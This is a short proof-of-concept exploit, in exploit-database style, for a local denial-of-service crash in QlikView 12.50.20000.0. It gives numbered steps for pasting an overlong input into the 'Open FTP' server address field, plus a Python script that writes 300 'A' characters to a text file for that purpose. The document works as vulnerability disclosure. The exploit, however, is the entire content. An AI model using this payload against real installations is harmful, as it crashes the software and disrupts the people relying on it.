QlikView 12.50.20000.0 Denial Of Service

`# Exploit Title: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)  
# Discovery by: Luis Martinez  
# Discovery Date: 2020-08-03  
# Vendor Homepage: https://www.qlik.com  
# Software Link: https://www.qlik.com/us/trial/qlik-sense-business  
# Tested Version: 12.50.20000.0  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 Pro x64 es  
  
# Steps to Produce the Crash:  
# 1.- Run python code: QlikView_12.50.20000.0.py  
# 2.- Open QlikView_12.50.20000.0.txt and copy content to clipboard  
# 3.- Open "QlikView 12"  
# 4.- File -> "Open FTP ..."  
# 5.- Paste ClipBoard on "FTP Server Address"  
# 6.- Connect  
# 7.- Crashed  
  
#!/usr/bin/env python  
  
buffer = "\x41" * 300  
f = open ("QlikView_12.50.20000.0.txt", "w")  
f.write(buffer)  
f.close()  
`